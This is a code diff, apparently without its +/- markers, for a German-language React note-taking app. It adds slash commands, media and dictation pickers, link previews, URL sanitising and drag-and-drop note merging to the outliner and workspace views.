import { AudioBlock } from './AudioBlock';
import { DictationBlock } from './DictationBlock';
import { currentVoiceConfig } from '../../lib/voice';
import { LinkPreviewCard } from './LinkPreviewCard';
import { firstBareUrl, hidePreviewContent, useLinkPreviewsEnabled } from '../../lib/linkPreview';
import { mediaContent, parseMediaContent } from '../../lib/media';
import { renderInlineMarkdown } from '../../lib/markdown';
import { api } from '../../lib/api';
import { safeHref } from '../../lib/safeUrl';
export interface SlashCommand {
type: BlockType | 'link';
type: BlockType | 'link' | 'dictation' | 'extract';
label: string;
desc: string;
icon: React.ReactNode;
/** Only offered in an empty bullet; the bullet turns into an inline picker first */
media?: boolean;
/** Further names that find the command (e.g. German ones) */
aliases?: string[];
}
const SLASH_COMMANDS: SlashCommand[] = [
{ type: 'todo', label: '/todo', desc: 'Aufgabe mit Checkbox', icon: <ListTodo className="w-3.5 h-3.5" /> },
{ type: 'link', label: '/link', desc: 'Notiz verknüpfen oder Web-Link einfügen', icon: <LinkIcon className="w-3.5 h-3.5" /> },
{ type: 'link', label: '/link', desc: 'Notiz oder Weblink', icon: <LinkIcon className="w-3.5 h-3.5" /> },
{ type: 'h1', label: '/h1', desc: 'Große Überschrift', icon: <Heading1 className="w-3.5 h-3.5" /> },
{ type: 'h2', label: '/h2', desc: 'Abschnitts-Überschrift', icon: <Heading2 className="w-3.5 h-3.5" /> },
{ type: 'h3', label: '/h3', desc: 'Unterabschnitt', icon: <Heading3 className="w-3.5 h-3.5" /> },
{ type: 'code', label: '/code', desc: 'Code-Block mit Syntax', icon: <Code className="w-3.5 h-3.5" /> },
{ type: 'callout', label: '/callout', desc: 'Hinweisbox', icon: <MessageSquare className="w-3.5 h-3.5" /> },
{ type: 'divider', label: '/divider', desc: 'Trennlinie', icon: <Minus className="w-3.5 h-3.5" /> },
{ type: 'extract', label: '/extract', desc: 'Ast als eigene Notiz', icon: <FileOutput className="w-3.5 h-3.5" />, aliases: ['notiz', 'auslagern'] },
{ type: 'image', label: '/image', desc: 'Bilder hochladen oder verlinken', icon: <ImageIcon className="w-3.5 h-3.5" />, media: true, aliases: ['bild', 'foto'] },
{ type: 'audio', label: '/audio', desc: 'Sprachnotiz oder Audiodatei', icon: <Mic className="w-3.5 h-3.5" />, media: true, aliases: ['sprachnotiz'] },
{ type: 'dictation', label: '/diktat', desc: 'Sprechen statt tippen', icon: <AudioLines className="w-3.5 h-3.5" />, media: true, aliases: ['dictate'] },
];
export interface OutlinerBlockProps {
@@ -55,6 +78,8 @@ export interface OutlinerBlockProps {
canEdit: boolean;
levelOffset?: number;
onZoomBlock?: (blockId: string) => void;
/** Turns this bullet and its children into a note of its own */
onExtractBlock?: (blockId: string) => void;
onUpdateBlock: (updated: DocumentBlock, immediate?: boolean) => void;
onCreateBlockBelow: (afterBlockId: string, newContent?: string) => void;
onDeleteBlock: (blockId: string, deleteSubtree?: boolean) => void;
@@ -97,12 +122,12 @@ export const OutlinerBlock: React.FC<OutlinerBlockProps> = ({
block,
index,
isLast,
maxAllowedLevel,
hasChildren,
isFocused,
canEdit,
levelOffset = 0,
onZoomBlock,
onExtractBlock,
onUpdateBlock,
onCreateBlockBelow,
onDeleteBlock,
@@ -133,6 +158,14 @@ export const OutlinerBlock: React.FC<OutlinerBlockProps> = ({
// A block someone else is editing can still get the cursor (read-only), e.g. to press Enter at its end
const canFocus = canEdit || (!!lockedBy && !!canAppendBelow);
const [slashSearch, setSlashSearch] = useState<string | null>(null);
// Inline picker an empty bullet turns into after /image (local only, nothing synced until done)
const [mediaPicker, setMediaPicker] = useState<'image' | 'audio' | 'dictation' | null>(null);
// Card above bullets with a plain web address (lib/linkPreview.ts)
const previewsOn = useLinkPreviewsEnabled();
const previewUrl =
previewsOn && !mediaPicker && ['bullet', 'text', 'paragraph', 'todo', 'h1', 'h2', 'h3'].includes(block.type || 'bullet')
? firstBareUrl(localContent)
: null;
const [slashIndex, setSlashIndex] = useState(0);
const [showLinkModal, setShowLinkModal] = useState<boolean>(false);
const [showTodoMenu, setShowTodoMenu] = useState<boolean>(false);
@@ -288,6 +321,20 @@ export const OutlinerBlock: React.FC<OutlinerBlockProps> = ({
adjustHeight();
}, [localContent, block.type, block.level, activeFocus, adjustHeight]);
// Turning the block into another type (slash menu, ``` or markdown shortcut) can swap the text field
// for a new one (e.g. the code editor); the cursor must stay in the block so typing goes on there
const refocusAfterTypeChangeRef = useRef(false);
useLayoutEffect(() => {
if (!refocusAfterTypeChangeRef.current) return;
refocusAfterTypeChangeRef.current = false;
const ta = textareaRef.current;
if (ta && document.activeElement !== ta) {
ta.focus();
const end = ta.value.length;
ta.setSelectionRange(end, end);
}
}, [block.type]);
useEffect(() => {
window.addEventListener('resize', adjustHeight);
// The field can be measured while hidden (phone layout shows the editor only after selecting a note);
@@ -313,22 +360,55 @@ export const OutlinerBlock: React.FC<OutlinerBlockProps> = ({
const filteredSlashCommands = useMemo(() => {
if (slashSearch === null) return [];
const q = slashSearch.toLowerCase();
const cmdQuery = q.startsWith('code ') ? 'code' : q;
// Media only in an otherwise empty bullet
const emptyBullet = localContent.replace(/\/(code\s+[a-z0-9_+#.-]*|[a-z0-9]*)$/i, '').trim() === '';
return SLASH_COMMANDS.filter(
(c) => c.label.toLowerCase().includes(q) || c.desc.toLowerCase().includes(q)
(c) =>
(!c.media || emptyBullet) &&
(c.type !== 'dictation' || ['server', 'browser'].includes(currentVoiceConfig().mode)) &&
// The bullet's text becomes the title of the new note
(c.type !== 'extract' || (!emptyBullet && !!onExtractBlock)) &&
(c.label.toLowerCase().includes(cmdQuery) ||
c.desc.toLowerCase().includes(cmdQuery) ||
(c.aliases || []).some((a) => a.includes(cmdQuery)))
);
}, [slashSearch]);
}, [slashSearch, localContent, onExtractBlock]);
const applySlashCommand = (cmd: SlashCommand) => {
setSlashSearch(null);
const clean = localContent.replace(/\/([a-z0-9]*)$/i, '').trim();
const codeLangMatch = localContent.match(/\/code\s+([a-z0-9_+#.-]+)$/i);
const clean = localContent.replace(/\/(code\s+[a-z0-9_+#.-]*|[a-z0-9]*)$/i, '').trim();
if (cmd.type === 'link') {
setLocalContent(clean);
setShowLinkModal(true);
return;
}
if (cmd.type === 'extract') {
setLocalContent(clean);
localContentRef.current = clean;
flushDebounce(clean);
onExtractBlock?.(block.id);
return;
}
if (cmd.media) {
// The typed "/image" must not stay in the synced text; the block type changes only after the upload
setLocalContent('');
localContentRef.current = '';
flushDebounce('');
setMediaPicker(cmd.type as 'image' | 'audio' | 'dictation');
return;
}
const langOverride =
cmd.type === 'code' && codeLangMatch
? resolveLanguageId(codeLangMatch[1]) || codeLangMatch[1].toLowerCase()
: undefined;
setLocalContent(clean);
localContentRef.current = clean;
if (cmd.type !== block.type) refocusAfterTypeChangeRef.current = true;
flushDebounce(clean, {
type: cmd.type,
type: cmd.type as BlockType, // media commands returned above
...(langOverride !== undefined ? { lang: langOverride } : {}),
checked: cmd.type === 'todo' ? Boolean(block.checked) : false,
});
};
@@ -348,45 +428,76 @@ export const OutlinerBlock: React.FC<OutlinerBlockProps> = ({
let val = e.target.value;
let typeOverride: BlockType | undefined;
let checkedOverride: boolean | undefined;
let langOverride: string | undefined;
// Quick markdown shortcuts
if (val.startsWith('[] ') || val.startsWith('[ ] ')) {
val = val.replace(/^\[\s?\]\s/, '');
typeOverride = 'todo';
checkedOverride = false;
} else if (val.startsWith('[x] ') || val.startsWith('[X] ')) {
val = val.replace(/^\[[xX]\]\s/, '');
typeOverride = 'todo';
checkedOverride = true;
} else if (val.startsWith('# ') && block.type !== 'h1') {
val = val.slice(2);
typeOverride = 'h1';
} else if (val.startsWith('## ') && block.type !== 'h2') {
val = val.slice(3);
typeOverride = 'h2';
} else if (val.startsWith('### ') && block.type !== 'h3') {
val = val.slice(4);
typeOverride = 'h3';
}
if (block.type !== 'code') {
// Quick markdown shortcuts
const fenceSpaceMatch = val.match(/^```([a-z0-9_+#.-]*)\s([\s\S]*)$/i);
const fenceDirectMatch = val.match(/^```([a-z0-9_+#.-]+)$/i);
const slashCodeSpaceMatch = val.match(/^\/code\s+([a-z0-9_+#.-]+)\s([\s\S]*)$/i);
const slashCodeDirectMatch = val.match(/^\/code\s+([a-z0-9_+#.-]+)$/i);
// Check for slash command invocation
const slashMatch = val.match(/\/([a-z0-9]*)$/i);
if (slashMatch) {
setSlashSearch(slashMatch[1]);
setSlashIndex(0);
if (fenceSpaceMatch) {
const rawLang = fenceSpaceMatch[1];
val = fenceSpaceMatch[2];
typeOverride = 'code';
langOverride = rawLang ? resolveLanguageId(rawLang) || rawLang.toLowerCase() : '';
} else if (fenceDirectMatch && isUnambiguousLanguageShortcut(fenceDirectMatch[1])) {
val = '';
typeOverride = 'code';
langOverride = resolveLanguageId(fenceDirectMatch[1]) || fenceDirectMatch[1].toLowerCase();
} else if (slashCodeSpaceMatch) {
const rawLang = slashCodeSpaceMatch[1];
val = slashCodeSpaceMatch[2];
typeOverride = 'code';
langOverride = resolveLanguageId(rawLang) || rawLang.toLowerCase();
} else if (slashCodeDirectMatch && isUnambiguousLanguageShortcut(slashCodeDirectMatch[1])) {
val = '';
typeOverride = 'code';
langOverride = resolveLanguageId(slashCodeDirectMatch[1]) || slashCodeDirectMatch[1].toLowerCase();
} else if (val.startsWith('[] ') || val.startsWith('[ ] ')) {
val = val.replace(/^\[\s?\]\s/, '');
typeOverride = 'todo';
checkedOverride = false;
} else if (val.startsWith('[x] ') || val.startsWith('[X] ')) {
val = val.replace(/^\[[xX]\]\s/, '');
typeOverride = 'todo';
checkedOverride = true;
} else if (val.startsWith('# ') && block.type !== 'h1') {
val = val.slice(2);
typeOverride = 'h1';
} else if (val.startsWith('## ') && block.type !== 'h2') {
val = val.slice(3);
typeOverride = 'h2';
} else if (val.startsWith('### ') && block.type !== 'h3') {
val = val.slice(4);
typeOverride = 'h3';
}
// Check for slash command invocation
const slashMatch = !typeOverride ? val.match(/\/(code\s+[a-z0-9_+#.-]*|[a-z0-9]*)$/i) : null;
if (slashMatch) {
setSlashSearch(slashMatch[1]);
setSlashIndex(0);
} else {
setSlashSearch(null);
}
} else {
setSlashSearch(null);
}
setLocalContent(val);
localContentRef.current = val;
if (debounceTimerRef.current !== null) {
window.clearTimeout(debounceTimerRef.current);
}
if (typeOverride) {
refocusAfterTypeChangeRef.current = true;
flushDebounce(val, {
type: typeOverride,
...(langOverride !== undefined ? { lang: langOverride } : {}),
checked: checkedOverride ?? latestBlockRef.current.checked,
});
return;
@@ -533,6 +644,21 @@ export const OutlinerBlock: React.FC<OutlinerBlockProps> = ({
e.stopPropagation();
setSlashSearch(null);
const fenceMatch = localContent.match(/^```([a-z0-9_+#.-]*)$/i);
if (fenceMatch) {
const rawLang = fenceMatch[1];
const resolvedLang = rawLang ? resolveLanguageId(rawLang) || rawLang.toLowerCase() : '';
setLocalContent('');
localContentRef.current = '';
refocusAfterTypeChangeRef.current = true;
flushDebounce('', {
type: 'code',
lang: resolvedLang,
checked: false,
});
return;
}
const minLevel = levelOffset || 0;
if (localContent === '') {
if (Math.max(0, block.level || 0) > minLevel) {
@@ -645,12 +771,12 @@ export const OutlinerBlock: React.FC<OutlinerBlockProps> = ({
(t) =>
(t.startsWith('[[') && t.endsWith(']]')) ||
/^\[(.*?)\]\((https?:\/\/.*?)\)$/.test(t) ||
/^https?:\/\//.test(t)
(/^https?:\/\//.test(t) && t !== previewUrl)
);
return (
<div
className={`group relative flex items-start gap-1 py-1 px-1.5 rounded-card transition-all duration-300 ${
className={`group relative flex items-start gap-1 py-1 px-0.5 sm:px-1.5 rounded-card transition-all duration-300 ${
isDragTarget
? 'border-t-2 border-accent bg-accent/10'
: isTargeted
@@ -658,7 +784,10 @@ export const OutlinerBlock: React.FC<OutlinerBlockProps> = ({
: ''
} ${block.conflictOf ? 'border-l-2 border-status-warn bg-status-warn/5' : ''}`}
style={{
paddingLeft: `${visualLevel * 22 + 4}px`,
// Indent per level and room kept for text come from CSS (narrower on phones, see index.css);
// deep rows get wider than the screen and the note scrolls sideways instead of squeezing them
paddingLeft: `calc(var(--outline-indent) * ${visualLevel} + 4px)`,
minWidth: `calc(var(--outline-indent) * ${visualLevel} + var(--outline-min-text))`,
}}
onDragOver={(e) => onDragOverBlock?.(e, index)}
onDrop={() => onDropBlock?.(index)}
@@ -744,37 +873,116 @@ export const OutlinerBlock: React.FC<OutlinerBlockProps> = ({
{/* Main Block Content */}
<div className="flex-1 min-w-0 pr-1 relative min-h-[1.5rem]">
{block.type === 'divider' ? (
{previewUrl && (
<LinkPreviewCard
url={previewUrl}
canEdit={canEdit}
onHide={(title) => {
const content = hidePreviewContent(localContent, previewUrl, title);
setLocalContent(content);
localContentRef.current = content;
flushDebounce(content);
}}
/>
)}
{mediaPicker === 'image' ? (
<ImagePicker
docId={docId}
onDone={(media) => {
setMediaPicker(null);
const content = mediaContent('image', media.id);
setLocalContent(content);
localContentRef.current = content;
flushDebounce(content, { type: 'image' });
}}
onCancel={() => {
setMediaPicker(null);
requestAnimationFrame(() => textareaRef.current?.focus());
}}
/>
) : mediaPicker === 'dictation' ? (
<DictationBlock
onDone={(text) => {
setMediaPicker(null);
setLocalContent(text);
localContentRef.current = text;
flushDebounce(text);
requestAnimationFrame(() => {
const ta = textareaRef.current;
if (!ta) return;
ta.focus();
ta.setSelectionRange(ta.value.length, ta.value.length);
});
}}
onCancel={() => {
setMediaPicker(null);
requestAnimationFrame(() => textareaRef.current?.focus());
}}
/>
) : mediaPicker === 'audio' ? (
<AudioRecorderPicker
docId={docId}
onDone={(media) => {
setMediaPicker(null);
const content = mediaContent('audio', media.id);
setLocalContent(content);
localContentRef.current = content;
flushDebounce(content, { type: 'audio' });
}}
onCancel={() => {
setMediaPicker(null);
requestAnimationFrame(() => textareaRef.current?.focus());
}}
/>
) : block.type === 'audio' ? (
<AudioBlock
content={localContent}
canEdit={canEdit}
onCaptionChange={(caption) => {
const ref = parseMediaContent(localContent);
if (!ref) return;
const content = mediaContent('audio', ref.id, caption);
setLocalContent(content);
localContentRef.current = content;
flushDebounce(content);
}}
/>
) : block.type === 'image' ? (
<ImageBlock
content={localContent}
canEdit={canEdit}
onCaptionChange={(caption) => {
const ref = parseMediaContent(localContent);
if (!ref) return;
const content = mediaContent('image', ref.id, caption);
setLocalContent(content);
localContentRef.current = content;
flushDebounce(content);
}}
/>
) : block.type === 'divider' ? (
<div className="py-2">
<hr className="border-t border-border" />
</div>
) : block.type === 'code' ? (
<div className="bg-code border border-border rounded-btn p-2 my-0.5">
<div className="text-[10px] text-faint font-mono uppercase pb-1 flex justify-between">
<span>Code</span>
<button
type="button"
onClick={() => flushDebounce(localContent, { type: 'bullet' })}
className="hover:text-accent"
>
Als Text
</button>
</div>
<textarea
ref={(el) => {
textareaRef.current = el;
registerTextareaRef(block.id, el);
}}
rows={1}
value={localContent}
readOnly={!canEdit}
onFocus={handleFocus}
onBlur={handleBlur}
onChange={handleContentChange}
onKeyDown={handleKeyDown}
className="w-full resize-none font-mono text-xs bg-transparent text-status-ok border-0 focus:outline-none focus:ring-0 leading-relaxed"
/>
</div>
<CodeBlockEditor
block={block}
content={localContent}
canEdit={canEdit}
textareaRef={textareaRef}
registerTextareaRef={registerTextareaRef}
onChangeContent={(newContent) => {
setLocalContent(newContent);
localContentRef.current = newContent;
flushDebounce(newContent);
}}
onChangeLang={(lang) => flushDebounce(localContent, { lang })}
onConvertToText={() => flushDebounce(localContent, { type: 'bullet' })}
handleFocus={handleFocus}
handleBlur={handleBlur}
handleContentChange={handleContentChange}
handleKeyDown={handleKeyDown}
/>
) : block.type === 'callout' ? (
<div className="bg-panel-elevated border-l-2 border-accent p-2 rounded-r-btn my-0.5">
<textarea
@@ -1002,9 +1210,9 @@ export const OutlinerBlock: React.FC<OutlinerBlockProps> = ({
);
}
const mdMatch = part.match(/^\[(.*?)\]\((https?:\/\/.*?)\)$/);
if (mdMatch) {
if (mdMatch && safeHref(mdMatch[2])) {
const label = mdMatch[1];
const url = mdMatch[2];
const url = safeHref(mdMatch[2]) as string;
return (
<a
key={idx}
@@ -1019,11 +1227,12 @@ export const OutlinerBlock: React.FC<OutlinerBlockProps> = ({
</a>
);
}
if (/^https?:\/\//.test(part)) {
// The preview card above already shows this address
if (/^https?:\/\//.test(part) && safeHref(part) && part !== previewUrl) {
return (
<a
key={idx}
href={part}
href={safeHref(part) as string}
target="_blank"
rel="noopener noreferrer"
className="inline-flex items-center gap-0.5 px-1.5 py-0.5 text-[10px] font-medium text-status-ok bg-status-ok/10 hover:bg-status-ok/20 rounded-btn transition-colors"
@@ -1041,7 +1250,7 @@ export const OutlinerBlock: React.FC<OutlinerBlockProps> = ({
{/* Floating Slash Commands Menu */}
{slashSearch !== null && canEdit && (
<div className="absolute left-0 top-8 z-40 w-56 panel-surface shadow-panel border border-border rounded-card p-1">
<div className="absolute left-0 top-8 z-40 w-72 max-w-[calc(100vw-2rem)] panel-surface shadow-panel border border-border rounded-card p-1">
<div className="px-2 py-1 text-[10px] font-bold uppercase tracking-wider text-faint border-b border-border mb-1">
Befehl auswählen
</div>
@@ -1060,11 +1269,11 @@ export const OutlinerBlock: React.FC<OutlinerBlockProps> = ({
: 'text-main hover:bg-panel-elevated'
}`}
>
<div className="flex items-center gap-1.5">
<div className="flex items-center gap-1.5 shrink-0">
{cmd.icon}
<span className="font-semibold">{cmd.label}</span>
<span className="font-semibold whitespace-nowrap">{cmd.label}</span>
</div>
<span className="text-[10px] opacity-75">{cmd.desc}</span>
<span className="ml-3 min-w-0 truncate text-right text-[10px] opacity-75">{cmd.desc}</span>
</button>
))}
{filteredSlashCommands.length === 0 && (
@@ -1077,11 +1286,24 @@ export const OutlinerBlock: React.FC<OutlinerBlockProps> = ({
)}
</div>
{/* Branch into its own note (desktop; phones use /extract) */}
{canEdit && onExtractBlock && localContent.trim() !== '' && !mediaPicker && (
<button
type="button"
onClick={() => onExtractBlock(block.id)}
className="hidden sm:block opacity-0 group-hover:opacity-100 focus:opacity-100 p-0.5 text-faint hover:text-accent rounded-btn transition-opacity shrink-0"
title="In eigene Notiz umwandeln (mit allen Unterpunkten)"
>
<FileOutput className="w-3.5 h-3.5" />
</button>
)}
{/* Zoom / Focus button on hover */}
<button
type="button"
onClick={() => onZoomBlock?.(block.id)}
className="opacity-0 group-hover:opacity-100 focus:opacity-100 p-0.5 text-faint hover:text-accent rounded-btn transition-opacity shrink-0"
// Phones zoom by tapping the bullet; the button would only take width from the text there
className="hidden sm:block opacity-0 group-hover:opacity-100 focus:opacity-100 p-0.5 text-faint hover:text-accent rounded-btn transition-opacity shrink-0"
title="In diesen Ast hineinzoomen (Fokus-Modus)"
>
<Maximize2 className="w-3.5 h-3.5" />
@@ -1098,7 +1320,7 @@ export const OutlinerBlock: React.FC<OutlinerBlockProps> = ({
</span>
)}
{/* Delete button on hover (Trash2 icon) */}
{/* Delete button on hover (Trash2 icon); on phones only in the row being edited */}
{canEdit && (
<button
type="button"
@@ -1111,7 +1333,11 @@ export const OutlinerBlock: React.FC<OutlinerBlockProps> = ({
onDeleteBlockRef.current(block.id, false);
}
}}
className="opacity-0 group-hover:opacity-100 focus:opacity-100 p-0.5 text-faint hover:text-status-err rounded-btn transition-opacity shrink-0 cursor-pointer"
className={
activeFocus
? 'opacity-0 group-hover:opacity-100 focus:opacity-100 p-0.5 text-faint hover:text-status-err rounded-btn transition-opacity shrink-0 cursor-pointer'
: 'hidden sm:block opacity-0 group-hover:opacity-100 focus:opacity-100 p-0.5 text-faint hover:text-status-err rounded-btn transition-opacity shrink-0 cursor-pointer'
}
title="Block löschen"
>
<Trash2 className="w-3.5 h-3.5" />
@@ -13,6 +13,7 @@ export interface OutlinerTreeProps {
canEdit: boolean;
levelOffset?: number;
onZoomBlock?: (blockId: string) => void;
onExtractBlock?: (blockId: string) => void;
onUpdateBlock: (updated: DocumentBlock, immediate?: boolean) => void;
onUpdateBlocks?: (updated: DocumentBlock[]) => void;
onCreateBlock: (newBlock: DocumentBlock, afterBlockId?: string) => void;
@@ -37,6 +38,7 @@ export const OutlinerTree = forwardRef<OutlinerTreeHandle, OutlinerTreeProps>(({
canEdit,
levelOffset = 0,
onZoomBlock,
onExtractBlock,
onUpdateBlock,
onUpdateBlocks,
onCreateBlock,
@@ -402,7 +404,7 @@ export const OutlinerTree = forwardRef<OutlinerTreeHandle, OutlinerTreeProps>(({
// Explicit bullet or numbered list: - item, * item, • item, 1. item, 1) item
const bulletMatch = strippedLine.match(/^[-*•]\s+(.*)$/);
const numMatch = strippedLine.match(/^\d+[\.\)]\s+(.*)$/);
const numMatch = strippedLine.match(/^\d+[.)]\s+(.*)$/);
if (bulletMatch || numMatch) {
pushCurrentItem();
afterHeading = false;
@@ -783,6 +785,7 @@ export const OutlinerTree = forwardRef<OutlinerTreeHandle, OutlinerTreeProps>(({
onRedo={onRedo}
levelOffset={levelOffset}
onZoomBlock={onZoomBlock}
onExtractBlock={onExtractBlock}
onUpdateBlock={onUpdateBlock}
onCreateBlockBelow={handleCreateBlockBelow}
onPasteMultiLines={handlePasteMultiLines}
+253 -183
View File
@@ -18,19 +18,16 @@ import {
ExternalLink,
Sparkles,
ArrowLeft,
CheckSquare,
PanelLeftClose,
PanelLeftOpen,
ChevronLeft,
Radio,
Clock,
AlertTriangle,
Loader2,
Lock,
} from 'lucide-react';
import {
Document,
DocumentBlock,
MergeResult,
DocShare,
SharedFolder,
TagDetails,
@@ -44,10 +41,6 @@ import {
api,
onWebSocketMessage,
triggerHaptic,
onRealtimeStatus,
isRealtimeConnected,
getRealtimeTransport,
RealtimeTransport,
} from '../../lib/api';
import { UnifiedShareModal } from '../../components/UnifiedShareModal';
import { FormSheet } from '../../components/FormSheet';
@@ -55,6 +48,7 @@ import { sendDocOps } from '../../lib/docSync/oneoff';
import { useMobileActions } from '../../context/MobileActionContext';
import { DocumentEditor, DocSaveStatus } from './DocumentEditor';
import { TrashView } from './TrashView';
import { MergeDialog } from './MergeDialog';
import { CountBadge } from '../../components/CountBadge';
import { extractHashtags } from '../../lib/hashtags';
@@ -64,6 +58,8 @@ interface WorkspaceViewProps {
initialBlockId?: string | null;
onStatsChange: () => void;
onOpenTask?: (taskId: string) => void;
// Opens the global search (command palette); the notes sidebar has no search of its own
onOpenSearch?: () => void;
}
type WorkspaceSubView = 'editor' | 'tag_detail' | 'todos' | 'tags' | 'trash';
@@ -93,6 +89,9 @@ interface FolderTreeItemProps {
handleShareFolderClick: (folderPath: string, existingSf?: SharedFolder) => void;
handleDeleteFolder: (folderPath: string) => void;
onSelectDoc: (id: string) => void;
// Dropping a note onto another one offers to merge them
docDropProps: (targetId: string) => React.HTMLAttributes<HTMLDivElement>;
mergeHoverId: string | null;
}
const FolderTreeItem: React.FC<FolderTreeItemProps> = ({
@@ -112,6 +111,8 @@ const FolderTreeItem: React.FC<FolderTreeItemProps> = ({
handleShareFolderClick,
handleDeleteFolder,
onSelectDoc,
docDropProps,
mergeHoverId,
}) => {
const hasContent = node.subfolders.length > 0 || node.docs.length > 0;
const isExpanded = Boolean(hasContent && expandedFolders[node.fullPath]);
@@ -240,6 +241,8 @@ const FolderTreeItem: React.FC<FolderTreeItemProps> = ({
handleShareFolderClick={handleShareFolderClick}
handleDeleteFolder={handleDeleteFolder}
onSelectDoc={onSelectDoc}
docDropProps={docDropProps}
mergeHoverId={mergeHoverId}
/>
))}
@@ -249,10 +252,13 @@ const FolderTreeItem: React.FC<FolderTreeItemProps> = ({
key={d.id}
draggable
onDragStart={(e) => handleDocDragStart(e, d.id)}
{...docDropProps(d.id)}
onClick={() => onSelectDoc(d.id)}
style={{ paddingLeft: `${(depth + 1) * 12 + 16}px` }}
className={`w-full flex items-center gap-2 pr-2 py-1.5 rounded-btn text-left text-xs cursor-pointer border transition-colors ${
selectedDocId === d.id && subView === 'editor'
mergeHoverId === d.id
? 'border-accent bg-accent/15 ring-2 ring-accent/30 text-main'
: selectedDocId === d.id && subView === 'editor'
? 'bg-panel-elevated text-main font-semibold border-border/80'
: 'border-transparent text-main hover:bg-panel-elevated'
}`}
@@ -282,6 +288,7 @@ export const WorkspaceView: React.FC<WorkspaceViewProps> = ({
initialBlockId,
onStatsChange,
onOpenTask,
onOpenSearch,
}) => {
const [docs, setDocs] = useState<Document[]>([]);
const [folders, setFolders] = useState<string[]>([]);
@@ -325,7 +332,6 @@ export const WorkspaceView: React.FC<WorkspaceViewProps> = ({
const [tagSearchQuery, setTagSearchQuery] = useState<string>('');
const [tagSortBy, setTagSortBy] = useState<'count' | 'name'>('count');
const [searchQuery, setSearchQuery] = useState<string>('');
const [expandedFolders, setExpandedFolders] = useState<Record<string, boolean>>(() => {
try {
const saved = localStorage.getItem('mindsift:workspace_expanded_folders');
@@ -345,7 +351,6 @@ export const WorkspaceView: React.FC<WorkspaceViewProps> = ({
const [newFolderCoords, setNewFolderCoords] = useState<{ x: number; y: number } | null>(null);
const [newFolderParentPath, setNewFolderParentPath] = useState<string>('');
const [newFolderName, setNewFolderName] = useState<string>('');
const [newFolderIsShared, setNewFolderIsShared] = useState<boolean>(false);
const handleOpenNewFolder = (parentPath = '', e?: React.MouseEvent) => {
setNewFolderParentPath(parentPath);
@@ -379,22 +384,26 @@ export const WorkspaceView: React.FC<WorkspaceViewProps> = ({
});
}, []);
// Realtime connection status for top header indicator (identical to SharedListsView)
const [realtimeConnected, setRealtimeConnected] = useState<boolean>(() => isRealtimeConnected());
const [realtimeTransport, setRealtimeTransport] = useState<RealtimeTransport>(() => getRealtimeTransport());
const [docSaveStatus, setDocSaveStatus] = useState<DocSaveStatus>('saved');
const [docSaveError, setDocSaveError] = useState<string | null>(null);
useEffect(() => {
const unsub = onRealtimeStatus((connected, transport) => {
setRealtimeConnected(connected);
setRealtimeTransport(transport);
});
return unsub;
}, []);
// Drag and Drop state
const [draggingDocId, setDraggingDocId] = useState<string | null>(null);
// Merging notes: dialog (picker/confirmation) and a toast with undo afterwards
const [mergeDialog, setMergeDialog] = useState<{ sourceId: string; targetId?: string } | null>(null);
const [mergeHoverId, setMergeHoverId] = useState<string | null>(null);
const [toast, setToast] = useState<{ text: string; actions: { label: string; run: () => void }[] } | null>(null);
const toastTimerRef = useRef<number | null>(null);
const showToast = useCallback((text: string, actions: { label: string; run: () => void }[] = []) => {
setToast({ text, actions });
if (toastTimerRef.current !== null) window.clearTimeout(toastTimerRef.current);
toastTimerRef.current = window.setTimeout(() => setToast(null), actions.length ? 10000 : 4000);
}, []);
useEffect(() => () => {
if (toastTimerRef.current !== null) window.clearTimeout(toastTimerRef.current);
}, []);
const [draggingFolderPath, setDraggingFolderPath] = useState<string | null>(null);
const [dragOverFolder, setDragOverFolder] = useState<string | null>(null);
@@ -691,6 +700,66 @@ export const WorkspaceView: React.FC<WorkspaceViewProps> = ({
setDraggingDocId(docId);
};
const requestMerge = (sourceId: string, targetId?: string) => {
const source = docs.find((d) => d.id === sourceId);
if (!source?.isOwner) {
showToast('Nur eigene Notizen lassen sich in eine andere einfügen');
return;
}
setMergeDialog({ sourceId, targetId });
};
// Dropping a dragged note onto another note (instead of a folder) offers to merge them
const docDropProps = (targetId: string): React.HTMLAttributes<HTMLDivElement> => ({
onDragOver: (e) => {
if (!draggingDocId || draggingDocId === targetId) return;
e.preventDefault();
e.stopPropagation();
e.dataTransfer.dropEffect = 'move';
if (mergeHoverId !== targetId) setMergeHoverId(targetId);
},
onDragLeave: () => setMergeHoverId((cur) => (cur === targetId ? null : cur)),
onDrop: (e) => {
const sourceId = e.dataTransfer.getData('application/mindsift-doc-id') || draggingDocId;
if (!sourceId || sourceId === targetId) return;
e.preventDefault();
e.stopPropagation();
setDraggingDocId(null);
setMergeHoverId(null);
setDragOverFolder(null);
requestMerge(sourceId, targetId);
},
});
const handleMerged = async (result: MergeResult) => {
setMergeDialog(null);
triggerHaptic(20);
setDocs((prev) => prev.filter((d) => d.id !== result.sourceId));
setSelectedDocId(result.targetId);
setTargetBlockId(null);
setSubView('editor');
setMobileShowDetail(true);
setEditorNonce((n) => n + 1);
reloadTrash();
showToast(`„${result.sourceTitle || 'Notiz'}“ wurde angehängt`, [
{
label: 'Rückgängig',
run: async () => {
try {
await api.undoMerge(result);
await loadWorkspaceData();
setSelectedDocId(result.sourceId);
setEditorNonce((n) => n + 1);
reloadTrash();
showToast('Zusammenführen rückgängig gemacht');
} catch (err: any) {
showToast(err?.message || 'Rückgängig fehlgeschlagen');
}
},
},
]);
};
const handleFolderDragStart = (e: React.DragEvent, path: string) => {
e.stopPropagation();
e.dataTransfer.setData('application/mindsift-folder-path', path);
@@ -868,17 +937,6 @@ export const WorkspaceView: React.FC<WorkspaceViewProps> = ({
return Array.from(set).sort();
}, [docs, folders, sharedFolders]);
const filteredDocs = useMemo(() => {
const q = searchQuery.trim().toLowerCase();
if (!q) return docs;
return docs.filter(
(d) =>
d.title.toLowerCase().includes(q) ||
(d.content && d.content.toLowerCase().includes(q)) ||
(d.tags && d.tags.some((t) => t.toLowerCase().includes(q)))
);
}, [docs, searchQuery]);
const folderTree = useMemo(() => {
const rootNodes: FolderTreeNode[] = [];
const nodeMap = new Map<string, FolderTreeNode>();
@@ -906,7 +964,7 @@ export const WorkspaceView: React.FC<WorkspaceViewProps> = ({
const sharedFolderObj = sharedFolders.find(
(sf) => sf.mountPath === p || sf.name === p
);
const folderDocs = filteredDocs.filter((d) => d.folderPath === p);
const folderDocs = docs.filter((d) => d.folderPath === p);
const node: FolderTreeNode = {
name: leafName,
@@ -931,16 +989,16 @@ export const WorkspaceView: React.FC<WorkspaceViewProps> = ({
}
return rootNodes;
}, [allFolderPaths, filteredDocs, sharedFolders]);
}, [allFolderPaths, docs, sharedFolders]);
const pinnedDocs = useMemo(
() => filteredDocs.filter((d) => d.isPinned),
